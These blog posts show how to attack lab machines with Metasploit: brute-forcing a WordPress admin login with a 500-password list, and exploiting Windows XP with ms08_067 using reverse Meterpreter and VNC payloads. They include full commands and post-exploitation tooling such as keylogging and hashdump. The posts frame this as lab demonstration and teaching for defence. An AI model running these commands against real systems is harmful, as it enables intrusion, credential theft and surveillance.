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Testing WordPress Password Security with Metasploit

admin — Wed, 01 Jun 2011 05:32:19 +0000

How easy is it to hack wordpress admin accounts?

Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords.

Metasploit Framework is an open source penetration testing application that has modules for the explicit purpose of breaking into systems and applications. This is the software we will use to demonstrate poor WordPress security.

Did you know with the wordpress admin account you not only lose control of your blog but on many hosts the attacker can then run code on the server with the rights of the web hosting account or web server. With the ability to run commands locally, full server root compromise is the next step.

I will be performing the password audit against a local VirtualBox running WordPress. This sort of activity is illegal in most places if used against systems that you do not have explicit permission to test.

First I will download and install the Metasploit Framework into my Ubuntu Linux 11.04 Desktop system. This will be a minimal install of Metasploit with the mini installer and minimal packages to get this module running.

apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems

wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-x64-mini.run

wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt

chmod +x framework-3.7.1-linux-x64-mini.run

sudo ./framework-3.7.1-linux-x64-mini.run

Since I am on my Ubuntu Desktop a pretty rapid7 installer pops up and it is a matter of clicking through the installer.

./msfconsole

# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #

=[ metasploit v3.7.1-release [core:3.7 api:1.0]
+ — –=[ 687 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > show auxiliary

msf > use scanner/http/wordpress_login_enum

msf auxiliary(wordpress_login_enum) >

msf auxiliary(wordpress_login_enum) > show options

Module options (auxiliary/scanner/http/wordpress_login_enum):

Name Current Setting ---- --------------- BLANK_PASSWORDS true BRUTEFORCE true BRUTEFORCE_SPEED 5 PASSWORD PASS_FILE Proxies RHOSTS RPORT 80 STOP_ON_SUCCESS false THREADS 1 URI /wp-login.php no USERNAME USERPASS_FILE USER_AS_PASS true USER_FILE VALIDATE_USERS true VERBOSE true VHOST Required Description
-------- -----------
no Try blank passwords for all users
yes Perform brute force authentication
yes How fast to bruteforce, from 0 to 5
no A specific password to authenticate with
no File containing passwords, one per line
no Use a proxy chain
yes The target address range or CIDR identifier
yes The target port
yes Stop guessing when a credential works for a host
yes The number of concurrent threads
Define the path to the wp-login.php file
no A specific username to authenticate as
no File containing users and passwords separated by space, one pair per line
no Try the username as the password for all users
no File containing usernames, one per line
yes Enumerate usernames
yes Whether to print output for all attempts
no HTTP server virtual host

msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(wordpress_login_enum) > set USERNAME admin
USERNAME => admin
msf auxiliary(wordpress_login_enum) > set PASS_FILE /home/test/500-worst-passwords.txt
PASS_FILE => /home/test/500-worst-passwords.txt
msf auxiliary(wordpress_login_enum) > exploit

[*] http://192.168.56.101:80/wp-login.php – WordPress Enumeration – Running User Enumeration
[*] http://192.168.56.101:80/wp-login.php – WordPress Enumeration – Checking Username:’admin’
[+] http://192.168.56.101:80/wp-login.php – WordPress Enumeration- Username: ‘admin’ – is VALID
[+] http://192.168.56.101:80/wp-login.php – WordPress Enumeration – Found 1 valid user
[*] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Running Bruteforce
[*] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Skipping all but 1 valid user
[*] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Trying username:’admin’ with password:”
[-] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Failed to login as ‘admin’

<-------------- SNIP -------------------->

[-] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Failed to login as ‘admin’
[*] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Trying username:’admin’ with password:’albert’
[-] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Failed to login as ‘admin’
[*] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – Trying username:’admin’ with password:’toor’
[+] http://192.168.56.101:80/wp-login.php – WordPress Brute Force – SUCCESSFUL login for ‘admin’ : ‘toor’
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Password has been found! Testing these 500 passwords was fast. Obviously over the speed will depend on the network link and the server speed.

One of the things that makes breaking wordpress accounts easy is that the username can be enumerated from the admin login screen.

It is important to rename the admin account on installations of wordpress and to use a complicated password of adequate length. I have shown above how easy it is to guess hundreds of passwords very quickly.

More details on securing your system can be found at WordPress.org, understanding what is running on your wordpress blog and other security risks is an important step in maintaining a secure system. HackerTarget.com has a free WordPress Security Scan that can be used to check some of these issues.

Details on the Metasploit Module used for this testing can be found here

Armitage – Cyber Attack Management for Metasploit

admin — Thu, 06 Jan 2011 02:14:15 +0000

Metasploit development continues in leaps and bounds both from within Rapid7 and from the community. This is newly released tool puts the power of the Metasploit Framework into the hands of those who prefer point and clicky interfaces.

Why does Armitage exist?

I’ve met too many security professionals who don’t know how to use Metasploit. Sadly, I was one of them. I’ve always felt Metasploit could use a non-commercial GUI organized around the hacking process. So, I made Armitage

Armitage exists to help security professionals better understand the hacking process and appreciate what’s possible with the powerful Metasploit framework. Security professionals who understand hacking will make better decisions to protect you and your information.

Armitage – Cyber Attack Management for Metasploit.

Metasploit vs Snort as Snorby

admin — Wed, 02 Jun 2010 06:47:12 +0000

Recently I stumbled acorss Snorby, an excellent easy to use implementation of Snort.

It is a new web interface for Snort that is very pretty, but also simple. An excellent introduction to Intrusion Detection Systems, that is not going to scare anyone away.

Now how to I get hold of this I hear you cry…. head over here and grab the preconfigured security appliance.

I downloaded the iso, fired up a virtualbox machine and away it went. Seriously a working Snort install in under 10mins. Nice!

Obviously you want to test your snort, so I fired off an nmap scan with the script option against my Windows XP SP2 test machine.

# nmap -sC 192.168.56.101

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-02 10:19 EST
Nmap scan report for 192.168.56.101
Host is up (0.0032s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:22:22:22:22:22

Host script results:
|_nbstat: NetBIOS name: ASDF, NetBIOS user: , NetBIOS MAC: 22:22:22:22:22:22
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\ASDF
|_ System time: 2010-06-02 10:19:58 UTC-7
|_smbv2-enabled: Server doesn’t support SMBv2 protocol

Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds

Snorby showed me some nice port scan alerts.

Now I was running through my guide to Metasploit 3.4.0 and figured I would see something in Snorby. As shown in the guide I successfully ran metasploit with ms08_067 exploit using a meterpreter payload and a vnc dll injection payload. Gaining full access to the Windows XP SP2 machine.

Snorby (and Snort) results show nothing.

Hmm, Snorby is running with up to date rules from emerging threats and snort. I was quite surprised and will be looking into the reasons for this in the near future. I would have thought I would have triggered something in the snort rules during this exploit.

Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction

admin — Wed, 02 Jun 2010 05:56:47 +0000

Perhaps you have heard of metasploit. It is a very powerful exploitation framework developed by HD Moore.

Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and Canvas in the pen-testing community.

The latest version has recently been released so I thought I would give you a quick and dirty introduction to running it on Ubuntu Linux 10.04. Of course it will run just as easily on Fedora Linux, Windows or whatever Operating System floats your boat.

Download the framework from http://www.metasploit.com/framework/download/

I chose the binary version for 64 bit Linux.

Ruby is not installed by default in Ubuntu so start off with:

apt-get install ruby
chmod +x framework-3.4.0-linux-x86_64.run
./framework-3.4.0-linux-x86_64.run
Verifying archive integrity… All good.
Uncompressing Metasploit Framework v3.4.0-release Installer (64-bit)……..

888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 “888 “88bd8P Y8b888 “88b88K 888 “88b888d88″”88b888888
888 888 88888888888888 .d888888″Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 “Y8888 “Y888″Y888888 88888P’88888P” 888 “Y88P” 888 “Y888
888
888
888

Metasploit Framework v3.4.0 Release
Report Bugs: msfdev@metasploit.com

Warning: A copy of Metasploit already exists at /opt/metasploit3
continuing this installation will DELETE the previous
install, including all user-modified files.

Please enter ‘yes’ to continue or any other key to abort
Continue (yes/no) > yes

This installer will place Metasploit into the /opt/metasploit3 directory.
Continue (yes/no) > yes
Removing files from the previous installation…

Extracting the Metasploit operating environment…

Extracting the Metasploit Framework…

Installing links into /usr/local/bin…

Installation complete.

Would you like to automatically update Metasploit?
AutoUpdate? (yes/no) > yes

*** snip ***

Updated to revision 9390.

Launch the Metasploit console by running ‘msfconsole’

Exiting the installer…
root@testbox:/home/testuser/Downloads# msfconsole

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ — –=[ 553 exploits - 264 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
=[ svn r9390 updated today (2010.06.01)

msf > exit

Ok, we now have a working Metasploit, hoorah for us.

Now we want to do a quick exploit of a Windows XP SP2 test machine I have on my network. It is running in Sun Virtual box using Host Only Networking as we will see shortly.

I like to use the command line utility for msf (msfcli) as once you get used to the syntax it is easier and faster. However if you prefer go with the msfconsole.

Running "#msfcli" will list all exploits, payloads and other modules.

#msfcli | grep 08_067
exploit/windows/smb/ms08_067_netapi

Lets hit my windows box with exploit/windows/smb/ms08_067_netapi it is stable and works very well.

#msfcli exploit/windows/smb/ms08_067_netapi
[*] Please wait while we load the module tree…
Usage: /opt/metasploit3/msf3/msfcli
[mode]
========================================================================

Mode Description
—- ———–
(H)elp You’re looking at it baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module

#msfcli exploit/windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree…

Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Running the following will display all payloads that will work with ms08_067_netapi. I have selected two in the following examples. A reverse meterpreter and a vnc reverse dll injection.
#msfcli exploit/windows/smb/ms08_067_netapi P

My windows box is 192.168.56.101 and my local Ubuntu system is 192.168.56.1.

# msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree…
[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (748032 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1050)

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine …..
[*] This is a Sun VirtualBox Virtual Machine
meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target…
[*] Checking for contermeasures…
[*] Possible countermeasure found avgemc.exe C:\Program Files\AVG\AVG9\avgemc.exe
[*] Getting Windows Built in Firewall configuration…
[*]
[*] Domain profile configuration:
[*] ——————————————————————-
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration (current):
[*] ——————————————————————-
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Local Area Connection firewall configuration:
[*] ——————————————————————-
[*] Operational mode = Enable
[*]
[*] Local Area Connection 2 firewall configuration:
[*] ——————————————————————-
[*] Operational mode = Enable
[*]
[*] Checking DEP Support Policy…
meterpreter > run get_local_subnets
Local subnet: 10.0.2.0/255.255.255.0
Local subnet: 192.168.56.0/255.255.255.0
meterpreter > help

Core Commands
=============

Command Description
——- ———–
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands
=======================

Command Description
——- ———–
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

Command Description
——- ———–
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components

Priv: Elevate Commands
======================

Command Description
——- ———–
getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================

Command Description
——- ———–
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

Command Description
——- ———–
timestomp Manipulate file MACE attributes

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\
meterpreter > ls

Listing: C:\
============

Mode Size Type Last modified Name
—- —- —- ————- —-
40777/rwxrwxrwx 0 dir 2009-12-22 05:59:31 +1100 $AVG
100777/rwxrwxrwx 0 fil 2009-12-22 05:39:51 +1100 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2009-12-22 05:39:51 +1100 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2010-02-12 15:23:25 +1100 Documents and Settings
100444/r–r–r– 0 fil 2009-12-22 05:39:51 +1100 IO.SYS
40777/rwxrwxrwx 0 dir 2010-02-11 13:11:43 +1100 Inetpub
100444/r–r–r– 0 fil 2009-12-22 05:39:51 +1100 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2004-08-04 22:00:00 +1000 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2010-04-08 15:57:51 +1000 Program Files
40777/rwxrwxrwx 0 dir 2010-04-09 13:14:56 +1000 RECYCLER
40777/rwxrwxrwx 0 dir 2009-12-22 05:43:08 +1100 System Volume Information
40777/rwxrwxrwx 0 dir 2010-04-09 13:18:19 +1000 WINDOWS
100666/rw-rw-rw- 211 fil 2009-12-22 05:35:20 +1100 boot.ini
100444/r–r–r– 250032 fil 2004-08-04 22:00:00 +1000 ntldr
100666/rw-rw-rw- 301989888 fil 2010-06-01 02:21:17 +1000 pagefile.sys

The power of the meterpreter is really only limited by your imagination. Keylogging, screen captures, adding accounts, dumping the hashes to be cracked offline…..

Now for a vnc injection.

# msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree…
[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (445440 bytes) to 192.168.56.101
[*] Starting local TCP relay on 127.0.0.1:5900…
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name “snipped”
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
[*] VNC Server session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1062)

This should pop up a vnc session with full desktop control of your Windows XP SP2 Host. This is a good dramatic way to show people the power of metasploit and to reinforce the need for patching to your users.

I did a recent demonstration to a group of corporate helpdesk operators and they were quite surprised at just how easy it can be.